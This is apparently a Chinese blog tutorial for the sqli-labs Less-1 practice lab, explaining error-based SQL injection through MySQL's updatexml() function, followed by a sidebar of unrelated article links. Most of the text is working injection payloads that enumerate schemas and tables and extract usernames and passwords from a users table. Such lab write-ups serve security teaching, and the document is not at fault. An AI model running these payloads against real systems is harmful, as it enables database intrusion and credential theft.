当前位置:网站首页>sqli-labs less-1(报错注入之updatexml)
sqli-labs less-1(报错注入之updatexml)
2022-07-15 15:01:00 【不知名白帽】
less-1(报错注入之updatexml)
1.updatexml()函数

XML_document用法
把名为1.xml文档的s更新成S
Updatexml(‘1.xml’,S,s)
2.爆破所有库名
数据库所有库名

?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(schema_name),1,31) from information_schema.schemata)),1) -- -#字母限制仅能显示31个

?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(schema_name),32,31) from information_schema.schemata)),1) -- -

?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(schema_name),63,31) from information_schema.schemata)),1) -- -

3.爆破security的表名
Security的所有表名

?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),0x7e),1)-- -

4.查看users表的第三行数据

?id=1' and updatexml(1,concat(0x7e,(select concat(username,'~',password) from security.users limit 2,1)),1) -- -
?id=1' and updatexml(1,concat(0x7e,(select concat(username,'~',password) from security.users where id=3)),1) -- -

边栏推荐
猜你喜欢
随机推荐
The global cloud market is growing rapidly, and data security has entered a strong regulatory era of rule of law
SQL Server存储过程多角度介绍建议收藏
graphsage模型使用photo数据集loss计算为nan
codeblocks下载安装教程(完整详细)
对于测试BUG的处理,代码缺陷的管理和改进
u-boot之顶层Makefile分析(一)
一文揭开海底捞分拆上市疑团,究竟有多大投资价值?
Mutual conversion between tensor and img
Dream CMS foreground SQL injection
X-Shell远程连接虚拟机
【SQL注入】堆叠注入
59岁留美博士, 今天收获第五家上市公司
EN 1317-5道路约束系统产品—CE认证
【luogu P3175】按位或(min-max容斥)(高维前缀和 / FWT)
SN6 multispectral and SAR data fusion
Top level makefile analysis of u-boot (1)
一种新的UI测试方法:视觉感知测试
eureka server剖析
A solution to the failure of NVIDIA SMI command
基于ABP实现DDD--聚合和聚合根实践









